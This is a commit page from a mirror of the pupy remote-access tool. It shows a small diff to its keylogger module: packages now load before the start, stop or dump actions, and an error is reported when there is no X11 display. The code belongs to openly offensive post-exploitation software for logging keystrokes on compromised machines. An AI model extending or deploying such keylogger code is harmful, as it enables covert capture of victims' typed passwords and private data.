mirror of https://github.com/n1nj4sec/pupy.git
fix keylogger bug (use dump or stop before the start option)
This commit is contained in:
parent
a25a14aedf
commit
47a035b3e6
|
@ -31,9 +31,13 @@ class KeyloggerModule(PupyModule):
|
|||
self.success("keylogger stopped")
|
||||
|
||||
def run(self, args):
|
||||
if args.action=="start":
|
||||
if self.client.is_windows():
|
||||
self.client.load_package("pupwinutils.keylogger")
|
||||
else:
|
||||
self.client.load_package("keylogger")
|
||||
|
||||
if args.action=="start":
|
||||
if self.client.is_windows():
|
||||
with redirected_stdio(self.client.conn): #to see the output exception in case of error
|
||||
if not self.client.conn.modules["pupwinutils.keylogger"].keylogger_start():
|
||||
self.error("the keylogger is already started")
|
||||
|
@ -41,9 +45,11 @@ class KeyloggerModule(PupyModule):
|
|||
self.success("keylogger started !")
|
||||
# not tested on android
|
||||
else:
|
||||
self.client.load_package("keylogger")
|
||||
with redirected_stdio(self.client.conn): #to see the output exception in case of error
|
||||
if not self.client.conn.modules["keylogger"].keylogger_start():
|
||||
r = self.client.conn.modules["keylogger"].keylogger_start()
|
||||
if r == 'no_x11':
|
||||
self.error("the keylogger does not work without x11 graphical interface")
|
||||
elif not r:
|
||||
self.error("the keylogger is already started")
|
||||
else:
|
||||
self.success("keylogger started !")
|
||||
|
|
Loading…
Reference in New Issue